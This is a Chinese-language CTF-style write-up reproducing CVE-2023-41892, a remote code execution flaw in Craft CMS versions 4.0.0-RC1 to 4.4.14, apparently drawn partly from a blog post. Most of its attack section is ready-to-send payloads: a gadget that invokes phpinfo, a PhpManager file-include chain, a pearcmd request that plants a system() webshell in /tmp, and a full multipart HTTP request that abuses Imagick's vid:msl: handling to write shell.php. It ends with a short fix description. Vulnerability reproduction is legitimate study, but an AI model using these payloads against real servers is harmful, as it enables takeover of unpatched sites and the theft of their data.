CVE-2023-41892 漏洞复现

CVE-2023-41892

开题,是一个RCE

Thanks for installing Craft CMS!

You're looking at the index.twig template file located in your templates/ folder. Once you're ready to start building out your site's front end, you can replace this with something custom.

If you're new to Craft CMS, take some time to check out the resources on the right when you get a chance---especially Discord and Stack Exchange. The Craft community is full of smart, friendly, and helpful people!

感谢您安装Craft CMS!

你在看 index. twig模板文件位于您的templates/文件夹。一旦你准备好开始构建你的网站前端,你可以用一些自定义的东西来代替它。

如果您是Craft CMS的新手,请在有机会的时候花点时间查看右侧的资源,尤其是Discord和Stack Exchange。手工艺社区充满了聪明、友好和乐于助人的人!

网上搜索Craft CMS 漏洞

CVE-2023-41892 CraftCMS远程代码执行漏洞分析 | Bmth's blog (bmth666.cn)

这个CMS有三个洞。Affected versions>= 4.0.0-RC1 , <= 4.4.14

1、vendor\guzzlehttp\psr7\src\FnStream.php存在call_user_func,可执行phpinfo();

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}

2、vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含。调用链如下:

php 复制代码
yii\base\BaseObject::__construct()
    yii\rbac\PhpManager::init()
        yii\rbac\PhpManager::load()
            yii\rbac\PhpManager::loadFromFile()

这个漏洞我们可以用来包含日志文件,包含日志文件payload如下:

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}

但是这题包含日志文件无效。但是这里可以使用pearcmd文件包含。

payload:(写入木马)

复制代码
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?= system($_POST[1]);?>+/tmp/j.php

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/usr/local/lib/php/pearcmd.php"}]}}

我们会发现直接读取/flag文件是没有内容的,但是我们可以执行/readflag脚本。

payload:(getshell)

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/j.php"}]}}&1=cd /;./readflag
复制代码
cyberpeace{b68aa7baed26c658ba658d116ffede43}

3、Imagick原生类存在任意文件写入漏洞。

------------------------------------【以下是摘抄原文】------------------------------------

需要环境:php-imagick

Imagick 类,它的构造函数只有一个参数,可以是字符串或字符串数组。

一、MSL

MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read><write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell

https://imagemagick.org/script/conjure.php#msl

二、vid协议

ImageMagick中有一个协议vid:https://github.com/ImageMagick/ImageMagick/blob/d2a918098878bd73a57a34b901b5ae85c0c8d17f/coders/vid.c#L98,会调用 ExpandFilenames 函数

可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件

即使用new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件

三、漏洞利用

  1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地
  2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控
  3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可

一种方法就是利用本地图片,POC:

复制代码
XML
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>

还有一种方法就是使用caption:info:协议

最后的请求如下:

复制代码
PLAINTEXT
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--

虽然能成功写入,但是执行后会造成 Segmentation fault (core dumped) ,可能导致程序崩溃服务关闭,所以一般不建议使用该方法。

------------------------------------【以上是摘抄原文】------------------------------------

在本题中,可以利用vid来写入文件到/tmp目录下。同时再利用第二点vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含来包含我们写入的木马文件。

漏洞修复

使用Component::cleanseConfig对传入的 config 进行处理

移除所有以on or as 开头的键

大多理论知识来自于 Bmth师傅的文章。

相关推荐
m0_747266092 小时前
代码审计与web安全选择题1
网络安全
编程到天明6 小时前
CTF-Web题解:“require_once(‘flag.php‘); &assert(“$i == $u“);”
网络安全·php
Johny_Zhao7 小时前
CentOS Stream 9上部署FTP应用服务的两种方法(传统安装和docker-compose)
linux·网络安全·信息安全·kubernetes·云计算·containerd·ftp·yum源·系统运维
还是奇怪8 小时前
深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
sql·安全·web安全
终焉暴龙王1 天前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
百川1 天前
Apache文件解析漏洞
web安全·apache
希望奇迹很安静2 天前
SSRF_XXE_RCE_反序列化学习
学习·web安全·ctf·渗透测试学习
程序员编程指南2 天前
Qt 网络编程进阶:网络安全与加密
c语言·网络·c++·qt·web安全
Johny_Zhao2 天前
Centos8搭建hadoop高可用集群
linux·hadoop·python·网络安全·信息安全·云计算·shell·yum源·系统运维·itsm
Reggie_L2 天前
Eureka-服务注册,服务发现
云原生·eureka·服务发现